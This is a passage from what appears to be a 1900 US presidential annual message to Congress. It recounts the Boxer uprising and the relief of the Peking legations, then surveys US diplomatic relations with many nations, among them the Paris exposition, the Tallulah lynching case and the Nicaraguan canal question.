in their accusations and deeply hostile in their\nspirit, could not but work cumulative harm. They aimed at no particular\nclass of foreigners; they were impartial in attacking everything foreign.An outbreak in Shan-tung, in which German missionaries were slain, was the\ntoo natural result of these malevolent teachings.The posting of seditious placards, exhorting to the utter destruction of\nforeigners and of every foreign thing, continued unrebuked. Hostile\ndemonstrations toward the stranger gained strength by organization.The sect, commonly styled the Boxers, developed greatly in the provinces\nnorth of the Yang-Tse, and with the collusion of many notable officials,\nincluding some in the immediate councils of the Throne itself, became\nalarmingly aggressive. No foreigner's life, outside of the protected treaty\nports, was safe. No foreign interest was secure from spoliation.The diplomatic representatives of the powers in Peking strove in vain to\ncheck this movement. Protest was followed by demand and demand by renewed\nprotest, to be met with perfunctory edicts from the Palace and evasive and\nfutile assurances from the Tsung-li Yamen. The circle of the Boxer\ninfluence narrowed about Peking, and while nominally stigmatized as\nseditious, it was felt that its spirit pervaded the capital itself, that\nthe Imperial forces were imbued with its doctrines, and that the immediate\ncounselors of the Empress Dowager were in full sympathy with the\nantiforeign movement.The increasing gravity of the conditions in China and the imminence of\nperil to our own diversified interests in the Empire, as well as to those\nof all the other treaty governments, were soon appreciated by this\nGovernment, causing it profound solicitude. The United States from the\nearliest days of foreign intercourse with China had followed a policy of\npeace, omitting no occasions to testify good will, to further the extension\nof lawful trade, to respect the sovereignty of its Government, and to\ninsure by all legitimate and kindly but earnest means the fullest measure\nof protection for the lives and property of our law-abiding citizens and\nfor the exercise of their beneficent callings among the Chinese people.Mindful of this, it was felt to be appropriate that our purposes should be\npronounced in favor of such course as would hasten united action of the\npowers at Peking to promote the administrative reforms so greatly needed\nfor strengthening the Imperial Government and maintaining the integrity of\nChina, in which we believed the whole western world to be alike concerned.\nTo these ends I caused to be addressed to the several powers occupying\nterritory and maintaining spheres of influence in China the circular\nproposals of 1899, inviting from them declarations of their intentions and\nviews as to the desirability of the adoption of measures insuring the\nbenefits of equality of treatment of all foreign trade throughout China.With gratifying unanimity the responses coincided in this common policy,\nenabling me to see in the successful termination of these negotiations\nproof of the friendly spirit which animates the various powers interested\nin the untrammeled development of commerce and industry in the Chinese\nEmpire as a source of vast benefit to the whole commercial world.In this conclusion, which I had the gratification to announce as a\ncompleted engagement to the interested powers on March 20, 1900, I\nhopefully discerned a potential factor for the abatement of the distrust of\nforeign purposes which for a year past had appeared to inspire the policy\nof the Imperial Government, and for the effective exertion by it of power\nand authority to quell the critical antiforeign movement in the northern\nprovinces most immediately influenced by the Manchu sentiment.Seeking to testify confidence in the willingness and ability of the\nImperial administration to redress the wrongs and prevent the evils we\nsuffered and feared, the marine guard, which had been sent to Peking in the\nautumn of 1899 for the protection of the legation, was withdrawn at the\nearliest practicable moment, and all pending questions were remitted, as\nfar as we were concerned, to the ordinary resorts of diplomatic\nintercourse.The Chinese Government proved, however, unable to check the rising strength\nof the Boxers and appeared to be a prey to internal dissensions. In the\nunequal contest the antiforeign influences soon gained the ascendancy under\nthe leadership of Prince Tuan. Organized armies of Boxers, with which the\nImperial forces affiliated, held the country between Peking and the coast,\npenetrated into Manchuria up to the Russian borders, and through their\nemissaries threatened a like rising throughout northern China.Attacks upon foreigners, destruction of their property, and slaughter of\nnative converts were reported from all sides. The Tsung-li Yamen, already\npermeated with hostile sympathies, could make no effective response to the\nappeals of the legations. At this critical juncture, in the early spring of\nthis year, a proposal was made by the other powers that a combined fleet\nshould be assembled in Chinese waters as a moral demonstration, under cover\nof which to exact of the Chinese Government respect for foreign treaty\nrights and the suppression of the Boxers.The United States, while not participating in the joint demonstration,\npromptly sent from the Philippines all ships that could be spared for\nservice on the Chinese coast. A small force of marines was landed at Taku\nand sent to Peking for the protection of the American legation. Other\npowers took similar action, until some four hundred men were assembled in\nthe capital as legation guards.Still the peril increased. The legations reported the development of the\nseditious movement in Peking and the need of increased provision for\ndefense against it. While preparations were in progress for a larger\nexpedition, to strengthen the legation guards and keep the railway open, an\nattempt of the foreign ships to make a landing at Taku was met by a fire\nfrom the Chinese forts. The forts were thereupon shelled by the foreign\nvessels, the American admiral taking no part in the attack, on the ground\nthat we were not at war with China and that a hostile demonstration might\nconsolidate the antiforeign elements and strengthen the Boxers to oppose\nthe relieving column.Two days later the Taku forts were captured after a sanguinary conflict.\nSeverance of communication with Peking followed, and a combined force of\nadditional guards, which was advancing to Peking by the Pei-Ho, was checked\nat Langfang. The isolation of the legations was complete.The siege and the relief of the legations has passed into undying history.\nIn all the stirring chapter which records the heroism of the devoted band,\nclinging to hope in the face of despair, and the undaunted spirit that led\ntheir relievers through battle and suffering to the goal, it is a memory of\nwhich my countrymen may be justly proud that the honor of our flag was\nmaintained alike in the siege and the rescue, and that stout American\nhearts have again set high, in fervent emulation with true men of other\nrace and language, the indomitable courage that ever strives for the cause\nof right and justice.By June 19 the legations were cut off. An identical note from the, Yamen\nordered each minister to leave Peking, under a promised escort, within\ntwenty-four hours. To gain time they replied, asking prolongation of the\ntime, which was afterwards granted, and requesting an interview with the\nTsung-li Yamen on the following day. No reply being received, on the\nmorning of the 20th the German minister, Baron von Ketteler, set out for\nthe Yamen to obtain a response, and oil the way was murdered.An attempt by the legation guard to recover his body was foiled by the\nChinese. Armed forces turned out against the legations. Their quarters were\nsurrounded and attacked. The mission compounds were abandoned, their\ninmates taking refuge in the British legation, where all the other\nlegations and guards gathered for more effective defense. Four hundred\npersons were crowded in its narrow compass. Two thousand native converts\nwere assembled in a nearby palace under protection of the foreigners. Lines\nof defense were strengthened, trenches dug, barricades raised, and\npreparations made to stand a siege, which at once began.From June 20 until July 17, writes Minister Conger, \"there was scarcely\nan hour during which there was not firing upon some part of our lines and\ninto some of the legations, varying from a single shot to a general and\ncontinuous attack along the whole line.\" Artillery was placed around the\nlegations and on the over-looking palace walls, and thousands Of 3-inch\nshot and shell were fired, destroying some buildings and damaging all. So\nthickly did the balls rain, that, when the ammunition of the besieged ran\nlow, five quarts of Chinese bullets were gathered in an hour in one\ncompound and recast.Attempts were made to burn the legations by setting neighboring houses on\nfire, but the flames were successfully fought off, although the Austrian,\nBelgian, Italian. and Dutch legations were then and subsequently burned.\nWith the aid of the native converts, directed by the missionaries, to whose\nhelpful co-operation Mr. Conger awards unstinted praise, the British\nlegation was made a veritable fortress. The British minister, Sir Claude\nMacDonald, was chosen general commander of the defense, with the secretary\nof the American legation, Mr. E. G. Squiers, as chief of staff.To save life and ammunition the besieged sparingly returned the incessant\nfire of the Chinese soldiery, fighting only to repel attack or make an\noccasional successful sortie for strategic advantage, such as that of\nfifty-five American, British, and Russian marines led by Captain Myers, of\nthe United States Marine Corps, which resulted in the capture of a\nformidable barricade on the wall that gravely menaced the American\nposition. It was held to the last, and proved an invaluable acquisition,\nbecause commanding the water gate through which the relief column entered.During the siege the defenders lost 65 killed, 135 wounded, and 7 by\ndisease, the last all children.On July 14 the besieged had their first communication with the Tsung-li\nYamen, from whom a message came inviting to a conference, which was\ndeclined. Correspondence, however, ensued and a sort of armistice was\nagreed upon, which stopped the bombardment and lessened the rifle fire for\na time. Even then no protection whatever was afforded, nor any aid given,\nsave to send to the legations a small supply of fruit and three sacks of\nflour.Indeed, the only communication had with the Chinese Government related to\nthe occasional delivery or dispatch of a telegram or to the demands of the\nTsung-li Yamen for the withdrawal of the legations to the coast under\nescort. Not only are the protestations of the Chinese Government that it\nprotected and succored the legations positively contradicted, but\nirresistible proof accumulates that the attacks upon them were made by\nImperial troops, regularly uniformed, armed, and officered, belonging to\nthe command of Jung Lu, the Imperial commander in chief. Decrees\nencouraging the Boxers, organizing them tinder prominent Imperial officers,\nprovisioning them, and even granting them large sums in the name of the\nEmpress Dowager, are known to exist. Members of the Tsung-li Yamen who\ncounseled protection of the foreigners were beheaded. Even in the distant\nprovinces men suspected of foreign sympathy were put to death, prominent\namong these being Chang Yen-hoon, formerly Chinese minister in Washington.With the negotiation of the partial armistice of July 14, a proceeding\nwhich was doubtless promoted by the representations of the Chinese envoy in\nWashington, the way was opened for the conveyance to Mr. Conger of a test\nmessage sent by the Secretary of State through the kind offices of Minister\nWu Ting-fang. Mr. Conger's reply, dispatched from Peking on July 18 through\nthe same channel, afforded to the outside world the first tidings that the\ninmates of the legations were still alive and hoping for succor.This news stimulated the preparations for a joint relief expedition in\nnumbers sufficient to overcome the resistance which for a month had been\norganizing between Taku and the capital. Reinforcements sent by all the\nco-operating Governments were constantly arriving. The United States\ncontingent, hastily assembled from the Philippines or dispatched from this\ncountry, amounted to some 5,000 men, under the able command first of the\nlamented Colonel Liscurn and afterwards of General Chaffee.Toward the end of July the movement began. A severe conflict followed at\nTientsin, in which Colonel Liscurn was killed. The city was stormed and\npartly destroyed. Its capture afforded the base of operations from which to\nmake the final advance, which began in the first days of August, the\nexpedition being made up of Japanese, Russian, British, and American troops\nat the outset.Another battle was fought and won at Yangtsun. Thereafter the disheartened\nChinese troops offered little show of resistance. A few days later the\nimportant position of Ho-si-woo was taken. A rapid march brought the united\nforces to the populous city of Tung Chow, which capitulated without a\ncontest.On August 14 the capital was reached. After a brief conflict beneath the\nwalls the relief column entered and the legations were saved. The United\nStates soldiers, sailors, and marines, officers and men alike, in those\ndistant climes and unusual surroundings, showed the same valor, discipline,\nand good conduct and gave proof of the same high degree of intelligence and\nefficiency which have distinguished them in every emergency.The Imperial family and the Government had fled a few days before. The city\nwas without visible control. The remaining Imperial soldiery had made on\nthe night of the 13th a last attempt to exterminate the besieged, which was\ngallantly repelled. It fell to the occupying forces to restore order and\norganize a provisional administration.Happily the acute disturbances were confined to the northern provinces. It\nis a relief to recall and a pleasure to record the loyal conduct of the\nviceroys and local authorities of the southern and eastern provinces. Their\nefforts were continuously directed to the pacific control of the vast\npopulations under their rule and to the scrupulous observance of foreign\ntreaty rights. At critical moments they did not hesitate to memorialize the\nThrone, urging the protection of the legations, the restoration of\ncommunication, and the assertion of the Imperial authority against the\nsubversive elements. They maintained excellent relations with the official\nrepresentatives of foreign powers. To their kindly disposition is largely\ndue the success of the consuls in removing many of the missionaries from\nthe interior to places of safety. In this relation the action of the\nconsuls should be highly commended. In Shan-tung and eastern Chi-li the\ntask was difficult, but, thanks to their energy and the cooperation of\nAmerican and foreign naval commanders, hundreds of foreigners, including\nthose of other nationalities than ours, were rescued from imminent peril.The policy of the United States through all this trying period was clearly\nannounced and scrupulously carried out. A circular note to the powers dated\nJuly 3 proclaimed our attitude. Treating the condition in the north as one\nof virtual anarchy, in which the great provinces of the south and southeast\nhad no share, we regarded the local authorities in the latter quarters as\nrepresenting the Chinese people with whom we sought to remain in peace and\nfriendship. Our declared aims involved no war against the Chinese nation.\nWe adhered to the legitimate office of rescuing the imperiled legation,\nobtaining redress for wrongs already suffered, securing wherever possible\nthe safety of American life and property in China, and preventing a spread\nof the disorders or their recurrence.As was then said, \"The policy of the Government of the United States is to\nseek a solution which may bring about permanent safety and peace to China,\npreserve Chinese territorial and administrative entity, protect all rights\nguaranteed to friendly powers by treaty and international law, and\nsafeguard for the world the principle of equal and impartial trade with all\nparts of the Chinese Empire.\"Faithful to those professions which, as it proved, reflected the views and\npurposes of the other co-operating Governments, all our efforts have been\ndirected toward ending the anomalous situation in China by negotiations for\na settlement at the earliest possible moment. As soon as the sacred duty of\nrelieving our legation and its dependents was accomplished we withdrew from\nactive hostilities, leaving our legation under an adequate guard in Peking\nas a channel of negotiation and settlement--a course adopted by others of\nthe interested powers. Overtures of the empowered representatives of the\nChinese Emperor have been considerately entertained.The Russian proposition looking to the restoration of the Imperial power in\nPeking has been accepted as in full consonance with our own desires, for we\nhave held and hold that effective reparation for wrongs suffered and an\nenduring settlement that will make their recurrence impossible can best be\nbrought about under an authority which the Chinese nation reverences and\nobeys. While so doing we forego no jot of our undoubted right to exact\nexemplary and deterrent punishment of the responsible authors and abettors\nof the criminal acts whereby we and other nations have suffered grievous\ninjury.For the real culprits, the evil counselors who have misled the Imperial\njudgment and diverted the sovereign authority to their own guilty ends,\nfull expiation becomes imperative within the rational limits of retributive\nJustice. Regarding this as the initial condition of an acceptable\nsettlement between China and the powers, I said in my message of October 18\nto the Chinese Emperor: I trust that negotiations may begin so soon as we\nand the other offended Governments shall be effectively satisfied of Your\nMajesty's ability and power to treat with just sternness the principal\noffenders, who are doubly culpable, not alone toward the foreigners, but\ntoward Your Majesty, under whose rule the purpose of China to dwell in\nconcord with the world had hitherto found expression in the welcome and\nprotection assured to strangers. Taking, as a point of departure, the\nImperial edict appointing Earl Li Hung Chang and Prince Ching\nplenipotentiaries to arrange a settlement, and the edict of September 25,\nwhereby certain high officials were designated for punishment, this\nGovernment has moved, in concert with the other powers, toward the opening\nof negotiations, which Mr. Conger, assisted by Mr. Rockhill, has been\nauthorized to conduct on behalf of the United States.General bases of negotiation formulated by the Government of the French\nRepublic have been accepted with certain reservations as to details, made\nnecessary by our own circumstances, but, like similar reservations by other\npowers, open to discussion in the progress of the negotiations. The\ndisposition of the Emperor's Government to admit liability for wrongs done\nto foreign Governments and their nationals, and to act upon such additional\ndesignation of the guilty persons as the foreign ministers at Peking may be\nin a position to make, gives hope of a complete settlement of all questions\ninvolved, assuring foreign rights of residence and intercourse on terms of\nequality for all the world.I regard as one of the essential factors of a durable adjustment the\nsecurement of adequate guarantees for liberty of faith, since insecurity of\nthose natives who may embrace alien creeds is a scarcely less effectual\nassault upon the rights of foreign worship and teaching than would be the\ndirect invasion thereof.The matter of indemnity for our wronged citizens is a question of grave\nconcern. Measured in money alone, a sufficient reparation may prove to be\nbeyond the ability of China to meet. All the powers concur in emphatic\ndisclaimers of any purpose of aggrandizement through the dismemberment of\nthe Empire. I am disposed to think that due compensation may be made in\npart by increased guarantees of security for foreign rights and immunities,\nand, most important of all, by the opening of China to the equal commerce\nof all the world. These views have been and will be earnestly advocated by\nour representatives.The Government of Russia has put forward a suggestion, that in the event of\nprotracted divergence of views in regard to indemnities the matter may be\nrelegated to the Court of Arbitration at The Hague. I favorably incline to\nthis, believing that high tribunal could not fail to reach a solution no\nless conducive to the stability and enlarged prosperity of China itself\nthan immediately beneficial to the powers.Ratifications of a treaty of extradition with the Argentine Republic were\nexchanged on June 2 last.While the Austro-Hungarian Government has in the many cases that have been\nreported of the arrest of our naturalized citizens for alleged evasion of\nmilitary service faithfully observed the provisions of the treaty and\nreleased such persons from military obligations, it has in some instances\nexpelled those whose presence in the community of their origin was asserted\nto have a pernicious influence. Representations have been made against this\ncourse whenever its adoption has appeared unduly onerous.We have been urgently solicited by Belgium to ratify the International\nConvention of June, 1899, amendatory of the previous Convention of 1890 in\nrespect to the regulation of the liquor trade in Africa. Compliance was\nnecessarily withheld, in the absence of the advice and consent of the\nSenate thereto. The principle involved has the cordial sympathy of this\nGovernment, which in the reversionary negotiations advocated more drastic\nmeasures, and I would gladly see its extension, by international agreement,\nto the restriction of the liquor traffic with all uncivilized peoples,\nespecially in the Western Pacific.A conference will be held at Brussels December 11, 1900, under the\nConvention for the protection of industrial property, concluded at Paris\nMarch 20, 1883, to which delegates from this country have been appointed.\nAny lessening of the difficulties that our inventors encounter in obtaining\npatents abroad for their inventions and that our farmers, manufacturers,\nand merchants may have in the protection of their trade-marks is worthy of\ncareful consideration, and your attention will be called to the results of\nthe conference at the proper time.In the interest of expanding trade between this country and South America,\nefforts have been made during the past year to conclude conventions with\nthe southern republics for the enlargement of postal facilities. Two such\nagreements, signed with Bolivia on April 24, of which that establishing the\nmoney-order system is undergoing certain changes suggested by the\nPost-Office Department, have not yet been ratified by this Government. A\ntreaty of extradition with that country, signed on the same day, is before\nthe Senate.A boundary dispute between Brazil and Bolivia over the territory of Acre is\nin a fair way of friendly adjustment, a protocol signed in December, 1899,\nhaving agreed on a definite frontier and provided for its demarcation by a\njoint commission.Conditions in Brazil have weighed heavily on our export trade to that\ncountry in marked contrast to the favorable conditions upon which Brazilian\nproducts are admitted into our markets. Urgent representations have been\nmade to that Government on the subject and some amelioration has been\neffected. We rely upon the reciprocal justice and good will of that\nGovernment to assure to us a further improvement in our commercial\nrelations.The Convention signed May 24, 1897, for the final settlement of claims left\nin abeyance upon the dissolution of the Commission of 1893, was at length\nratified by the Chilean Congress and the supplemental Commission has been\norganized.It remains for the Congress to appropriate for the necessary expenses of\nthe Commission.The insurrectionary movement which disturbed Colombia in the latter part of\n1899 has been practically suppressed, although guerrillas still operate in\nsome departments. The executive power of that Republic changed hands in\nAugust last by the act of Vice-President Marroquin in assuming the reins of\ngovernment during the absence of President San Clemente from the capital.\nThe change met with no serious opposition, and, following the precedents in\nsuch cases, the United States minister entered into relations with the new\ndefacto Government on September 17.It is gratifying to announce that the residual questions between Costa Rica\nand Nicaragua growing out of the Award of President Cleveland in 1888 have\nbeen adjusted through the choice of an American engineer, General E. P.\nAlexander, as umpire to run the disputed line. His task has been\naccomplished to the satisfaction of both contestants.A revolution in the Dominican Republic toward the close of last year\nresulted in the installation of President Jimenez, whose Government was\nformally recognized in January. Since then final payment has been made of\nthe American claim in regard to the Ozama bridge.The year of the exposition has been fruitful in occasions for displaying\nthe good will that exists between this country and France. This great\ncompetition brought together from every nation the best in natural\nproductions, industry, science, and the arts, submitted in generous rivalry\nto a judgment made all the more searching because of that rivalry. The\nextraordinary increase of exportations from this country during the past\nthree years and the activity with which our inventions and wares had\ninvaded new markets caused much interest to center upon the American\nexhibit, and every encouragement was offered in the way of space and\nfacilities to permit of its being comprehensive as a whole and complete in\nevery part.It was, however, not an easy task to assemble exhibits that could fitly\nillustrate our diversified resources and manufactures. Singularly enough,\nour national prosperity lessened the incentive to exhibit. The dealer in\nraw materials knew that the user must come to him; the great factories were\ncontented with the phenomenal demand for their output, not alone at home,\nbut also abroad, where merit had already won a profitable trade.Appeals had to be made to the patriotism of exhibitors to induce them to\nincur outlays promising no immediate return. This was especially the case\nwhere it became needful to complete an industrial sequence or illustrate a\nclass of processes. One manufacturer after another had to be visited and\nimportuned, and at times, after a promise to exhibit in a particular\nsection had been obtained, it would be withdrawn, owing to pressure of\ntrade orders, and a new quest would have to be made.The installation of exhibits, too, encountered many obstacles and involved\nunexpected cost. The exposition was far from ready at the date fixed for\nits opening. The French transportation lines were congested with offered\nfreight. Belated goods had to be hastily installed in unfinished quarters\nwith whatever labor could be obtained in the prevailing confusion. Nor was\nthe task of the Commission lightened by the fact that, owing to the scheme\nof classification adopted, it was impossible to have the entire exhibit of\nany one country in the same building or more than one group of exhibits in\nthe same part of any building. Our installations were scattered on both\nsides of the Seine and in widely remote suburbs of Paris, so that\nadditional assistants were needed for the work of supervision and\narrangement.Despite all these drawbacks the contribution of the United States was not\nonly the largest foreign display, but was among the earliest in place and\nthe most orderly in arrangement. Our exhibits were shown in one hundred and\none out of one hundred and twenty-one classes, and more completely covered\nthe entire classification than those of any other nation. In total number\nthey ranked next after those of France, and the attractive form in which\nthey were presented secured general attention.A criterion of the extent and success of our participation and of the\nthoroughness with which our exhibits were organized is seen in the awards\ngranted to American exhibitors by the international jury, namely, grand\nprizes, 240; gold medals, 597; silver medals, 776; bronze medals, 541, and\nhonorable mentions, 322--2,476 in all, being the greatest total number\ngiven to the exhibit of any exhibiting nation, as well as the largest\nnumber in each grade. This significant recognition of merit in competition\nwith the chosen exhibits of all other nations and at the hands of juries\nalmost wholly made up of representatives of France and other competing\ncountries is not only most gratifying, but is especially valuable, since it\nsets us to the front in international questions of supply and demand, while\nthe large proportion of awards in the classes of art and artistic\nmanufactures afforded unexpected proof of the stimulation of national\nculture by the prosperity that flows from natural productiveness joined to\nindustrial excellence.Apart from the exposition several occasions for showing international good\nwill occurred. The inauguration in Paris of the Lafayette Monument,\npresented by the school children of the United States, and the designing of\na commemorative coin by our Mint and the presentation of the first piece\nstruck to the President of the Republic, were marked by appropriate\nceremonies, and the Fourth of July was especially observed in the French\ncapital.Good will prevails in our relations with the German Empire. An amicable\nadjustment of the long-pending question of the admission of our\nlife-insurance companies to do business in Prussia has been reached. One of\nthe principal companies has already been readmitted and the way is opened\nfor the others to share the privilege.The settlement of the Samoan problem, to which I adverted in my last\nmessage, has accomplished good results. Peace and contentment prevail in\nthe islands, especially in Tutuila, where a convenient administration that\nhas won the confidence and esteem of the kindly disposed natives has been\norganized under the direction of the commander of the United States naval\nstation at Pago-Pago.An Imperial meat inspection law has been enacted for Germany. While it may\nsimplify the inspections, it prohibits certain products heretofore\nadmitted. There is still great uncertainty as to whether our well-nigh\nextinguished German trade in meat products can revive tinder its new\nburdens. Much will depend upon regulations not yet promulgated, which we\nconfidently hope will be free from the discriminations which attended the\nenforcement of the old statutes.The remaining link in the new lines of direct telegraphic communication\nbetween the United States and the German Empire has recently been\ncompleted, affording a gratifying occasion for exchange of friendly\ncongratulations with the German Emperor.Our friendly relations with Great Britain continue. The war in Southern\nAfrica introduced important questions. A condition unusual in international\nwars was presented in that while one belligerent had control of the seas,\nthe other had no ports, shipping, or direct trade, but was only accessible\nthrough the territory of a neutral. Vexatious questions arose through Great\nBritain's action in respect to neutral cargoes, not contraband in their own\nnature, shipped to Portuguese South Africa, on the score of probable or\nsuspected ultimate destination to the Boer States.Such consignments in British ships, by which alone direct trade is kept up\nbetween our ports and Southern Africa, were seized in application of a\nmunicipal law prohibiting British vessels from trading with the enemy\nwithout regard to any contraband character of the goods, while cargoes\nshipped to Delagoa Bay in neutral bottoms were arrested on the ground of\nalleged destination to enemy's country. Appropriate representations on our\npart resulted in the British Government agreeing to purchase outright all\nsuch goods shown to be the actual property of American citizens, thus\nclosing the incident to the satisfaction of the immediately interested\nparties, although, unfortunately, without a broad settlement of the\nquestion of a neutral's right to send goods not contraband per se to a\nneutral port adjacent to a belligerent area.The work of marking certain provisional boundary points, for convenience of\nadministration, around the head of Lynn Canal, in accordance with the\ntemporary arrangement of October, 1899, Was completed by a joint survey in\nJuly last. The modus vivendi has so far worked without friction, and the\nDominion Government has provided rules and regulations for securing to our\ncitizens the benefit of the reciprocal stipulation that the citizens or\nsubjects of either power found by that arrangement within the temporary\njurisdiction of the other shall suffer no diminution of the rights and\nprivileges they have hitherto enjoyed. But however necessary such an\nexpedient may have been to tide over the grave emergencies of the\nsituation, it is at best but an unsatisfactory makeshift, which should not\nbe suffered to delay the speedy and complete establishment of the frontier\nline to which we are entitled under the Russo-American treaty for the\ncession of Alaska.In this relation I may refer again to the need of definitely marking the\nAlaskan boundary where it follows the one hundred and forty-first meridian.\nA convention to that end has been before the Senate for some two years, but\nas no action has been taken I contemplate negotiating a new convention for\na joint determination of the meridian by telegraphic observations. These,\nit is believed, will give more accurate and unquestionable results than the\nsidereal methods heretofore independently followed, which, as is known,\nproved discrepant at several points on the line, although not varying at\nany place more than 700 feet.The pending claim of R. H. May against the Guatemalan Government has been\nsettled by arbitration, Mr. George F. B. Jenner, British minister at\nGuatemala, who was chosen as sole arbitrator, having awarded $143,750.73 in\ngold to the claimant.Various American claims against Haiti have been or are being advanced to\nthe resort of arbitration.As the result of negotiations with the Government of Honduras in regard to\nthe indemnity demanded for the murder of Frank H. Pears in Honduras, that\nGovernment has paid $10,000 in settlement of the claim of the heirs.The assassination of King Humbert called forth sincere expressions of\nsorrow from this Government and people, and occasion was fitly taken to\ntestify to the Italian nation the high regard here felt for the memory of\nthe lamented ruler.In my last message I referred at considerable length to the lynching of\nfive Italians at Tallulah. Notwithstanding the efforts of the Federal\nGovernment, the production of evidence tending to inculpate the authors of\nthis grievous offense against our civilization, and the repeated inquests\nset on foot by the authorities of the State of Louisiana, no punishments\nhave followed. Successive grand juries have failed to indict. The\nrepresentations of the Italian Government in the face of this miscarriage\nhave been most temperate and just.Setting the principle at issue high above all consideration of merely\npecuniary indemnification, such as this Government made in the three\nprevious cases, Italy has solemnly invoked the pledges of existing treaty\nand asked that the justice to which she is entitled shall be meted in\nregard to her unfortunate countrymen in our territory with the same full\nmeasure she herself would give to any American were his reciprocal treaty\nrights contemned.I renew the urgent recommendations I made last year that the Congress\nappropriately confer upon the Federal courts jurisdiction in this class of\ninternational cases where the ultimate responsibility of the Federal\nGovernment may be involved, and I invite action upon the bills to\naccomplish this which were introduced in the Sen. ate and House. It is\nincumbent upon us to remedy the statutory omission which has led, and may\nagain lead, to such untoward results. I have pointed out the necessity and\nthe precedent for legislation of this character. Its enactment is a simple\nmeasure of previsory justice toward the nations with which we as a\nsovereign equal make treaties requiring reciprocal observance.While the Italian Government naturally regards such action as the primary\nand, indeed, the most essential element in the disposal of the Tallulah\nincident, I advise that, in accordance with precedent, and in view of the\nimprobability of that particular case being reached by the bill now\npending, Congress make gracious provision for indemnity to the Italian\nsufferers in the same form and proportion as heretofore.In my inaugural address I referred to the general subject of lynching in\nthese words: Lynching must not be tolerated in a great and civilized\ncountry like the United States; courts, not mobs, must execute the\npenalties of the law. The preservation of public order, the right of\ndiscussion, the integrity of courts, and the orderly administration of\njustice must continue forever the rock of safety upon which our Government\nsecurely rests. This I most urgently reiterate and again invite the\nattention of my countrymen to this reproach upon our civilization.The closing year has witnessed a decided strengthening of Japan's relations\nto other states. The development of her independent judicial and\nadministrative functions under the treaties which took effect July 17,\n1899, has proceeded without international friction, showing the competence\nof the Japanese to hold a foremost place among modern peoples.In the treatment of the difficult Chinese problems Japan has acted in\nharmonious concert with the other powers, and her generous cooperation\nmaterially aided in the joint relief of the beleaguered legations in Peking\nand in bringing about an understanding preliminary to a settlement of the\nissues between the powers and China. Japan's declarations in favor of the\nintegrity of the Chinese Empire and the conservation of open world trade\ntherewith have been frank and positive. As a factor for promoting the\ngeneral interests of peace, order, and fair commerce in the Far East the\ninfluence of Japan can hardly be overestimated.The valuable aid and kindly courtesies extended by the Japanese Government\nand naval officers to the battle ship Oregon are gratefully appreciated.Complaint was made last summer of the discriminatory enforcement of a\nbubonic quarantine against Japanese on the Pacific coast and of\ninterference with their travel in California and Colorado under the health\nlaws of those States. The latter restrictions have been adjudged by a\nFederal court to be unconstitutional. No recurrence of either cause of\ncomplaint is apprehended.No noteworthy incident has occurred in our relations with our important\nsouthern neighbor. Commercial intercourse with Mexico continues to thrive,\nand the two Governments neglect no opportunity to foster their mutual\ninterests in all practicable ways.Pursuant to the declaration of the Supreme Court that the awards of the\nlate joint Commission in the La Abra and Weil claims were obtained through\nfraud, the sum awarded in the first case, $403,030.08, has been returned to\nMexico, and the amount of the Weil award will be returned in like manner.A Convention indefinitely extending the time for the labors of the United\nStates and Mexican International (Water) Boundary Commission has been\nsigned.It is with satisfaction that I am able to announce the formal notification\nat The Hague, on September 4, of the deposit of ratifications of the\nConvention for the Pacific Settlement of International Disputes by sixteen\npowers, namely, the United States, Austria, Belgium, Denmark, England,\nFrance, Germany, Italy, Persia, Portugal, Roumania, Russia, Siam, Spain,\nSweden and Norway, and the Netherlands. Japan also has since ratified the\nConvention.The Administrative Council of the Permanent Court of Arbitration has been\norganized and has adopted rules of order and a constitution for the\nInternational Arbitration Bureau. In accordance with Article XXIII of the\nConvention providing for the appointment by each signatory power of persons\nof known competency in questions of international law as arbitrators, I\nhave appointed as members of this Court, Hon. Benjamin Harrison, of\nIndiana, ex-President of the United States; Hon. Melville W. Fuller, of\nIllinois, Chief justice of the United States; Hon. John W. Griggs, of New\nJersey, Attorney General of the United States; and Hon. George Gray, of\nDelaware, a judge of the circuit court of the United States.As an incident of the brief revolution in the Mosquito district of\nNicaragua early in 1899 the insurgents forcibly collected from American\nmerchants duties upon imports. On the restoration of order the Nicaraguan\nauthorities demanded a second payment of such duties on the ground that\nthey were due to the titular Government and that their diversion had aided\nthe revolt.This position was not accepted by us. After prolonged discussion a\ncompromise was effected under which the amount of the second payments was\ndeposited with the British consul at San Juan del Norte in trust until the\ntwo Governments should determine whether the first payments had been made\nunder compulsion to a de facto authority. Agreement as to this was not\nreached, and the point was waived by the act of the Nicaraguan Government\nin requesting the British consul to return the deposits to the merchants.Menacing differences between several of the Central American States have\nbeen accommodated, our ministers rendering good offices toward an\nunderstanding.The all-important matter of an interoceanic canal has assumed a new phase.\nAdhering to its refusal to reopen the question of the forfeiture of the\ncontract of the Maritime Canal Company, which was terminated for alleged\nnonexecution in October, 1899, the Government of Nicaragua has since\nsupplemented that action by declaring the so styled Eyre-Cragin option void\nfor nonpayment of the stipulated advance. Protests in relation to these\nacts have been filed in the State Department and are under consideration.\nDeeming itself relieved from existing engagements, the Nicaraguan\nGovernment shows a disposition to deal freely with the canal question\neither in the way of negotiations with the United States or by taking\nmeasures to promote the waterway.Overtures for a convention to effect the building of a canal under the\nauspices of the United States are under consideration. In the meantime, the\nviews of the Congress upon the general subject, in the light of the report\nof the Commission appointed to examine the comparative merits of the\nvarious trans-Isthmian ship-canal projects, may be awaited.I commend to the early attention of the Senate the Convention with Great\nBritain to facilitate the construction of such a canal and to remove any\nobjection which might arise out of the Convention commonly called the\nClayton-Bulwer Treaty.The long-standing contention with Portugal, growing out of the seizure of\nthe Delagoa Bay Railway, has been at last determined by a favorable award\nof the tribunal of arbitration at Berne, to which it was submitted. The\namount of the award, which was deposited in London awaiting arrangements by\nthe Governments of the United States and Great Britain for its disposal,\nhas recently been paid over to the two Governments.A lately signed Convention of Extradition with Peru as amended by the\nSenate has been ratified by the Peruvian Congress.Another illustration of the policy of this Government to refer\ninternational disputes to impartial arbitration is seen in the agreement\nreached with Russia to submit the claims on behalf of American sealing\nvessels seized in Bering Sea to determination by Mr. T. M. C. Asser, a\ndistinguished statesman and jurist of the Netherlands.Thanks are due to the Imperial Russian Government for the kindly aid\nrendered by its authorities in eastern Siberia to American missionaries\nfleeing from Manchuria.Satisfactory progress has been made toward the conclusion of a general\ntreaty of friendship and intercourse with Spain, in replacement of the old\ntreaty, which passed into abeyance by reason of the late war. A new\nconvention of extradition is approaching completion, and I should be much\npleased were a commercial arrangement to follow. I feel that we should not\nsuffer to pass any opportunity to reaffirm the cordial ties that existed\nbetween us and Spain from the time of our earliest independence, and to\nenhance the mutual benefits of that commercial intercourse which is 